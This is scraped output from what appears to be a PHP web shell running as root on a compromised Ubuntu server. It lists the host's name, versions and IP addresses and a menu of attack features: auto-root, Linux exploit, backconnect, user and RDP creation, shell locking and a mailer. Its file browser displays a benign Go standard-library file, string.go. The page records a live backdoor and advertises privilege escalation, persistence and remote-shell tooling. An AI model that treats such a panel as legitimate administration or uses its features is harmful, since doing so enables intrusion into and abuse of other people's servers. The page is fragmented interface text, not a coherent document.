Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
debug /
pe /
[ HOME SHELL ]
Name
Size
Permission
Action
testdata
[ DIR ]
drwxr-xr-x
file.go
16.53
KB
-rw-r--r--
file_cgo_test.go
633
B
-rw-r--r--
file_test.go
22.72
KB
-rw-r--r--
pe.go
4.19
KB
-rw-r--r--
section.go
2.88
KB
-rw-r--r--
string.go
1.78
KB
-rw-r--r--
symbol.go
2.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : string.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package pe import ( "bytes" "encoding/binary" "fmt" "io" ) // cstring converts ASCII byte sequence b to string. // It stops once it finds 0 or reaches end of b. func cstring(b []byte) string { i := bytes.IndexByte(b, 0) if i == -1 { i = len(b) } return string(b[:i]) } // StringTable is a COFF string table. type StringTable []byte func readStringTable(fh *FileHeader, r io.ReadSeeker) (StringTable, error) { // COFF string table is located right after COFF symbol table. if fh.PointerToSymbolTable <= 0 { return nil, nil } offset := fh.PointerToSymbolTable + COFFSymbolSize*fh.NumberOfSymbols _, err := r.Seek(int64(offset), seekStart) if err != nil { return nil, fmt.Errorf("fail to seek to string table: %v", err) } var l uint32 err = binary.Read(r, binary.LittleEndian, &l) if err != nil { return nil, fmt.Errorf("fail to read string table length: %v", err) } // string table length includes itself if l <= 4 { return nil, nil } l -= 4 buf := make([]byte, l) _, err = io.ReadFull(r, buf) if err != nil { return nil, fmt.Errorf("fail to read string table: %v", err) } return StringTable(buf), nil } // TODO(brainman): decide if start parameter should be int instead of uint32 // String extracts string from COFF string table st at offset start. func (st StringTable) String(start uint32) (string, error) { // start includes 4 bytes of string table length if start < 4 { return "", fmt.Errorf("offset %d is before the start of string table", start) } start -= 4 if int(start) > len(st) { return "", fmt.Errorf("offset %d is beyond the end of string table", start) } return cstring(st[start:]), nil }
Close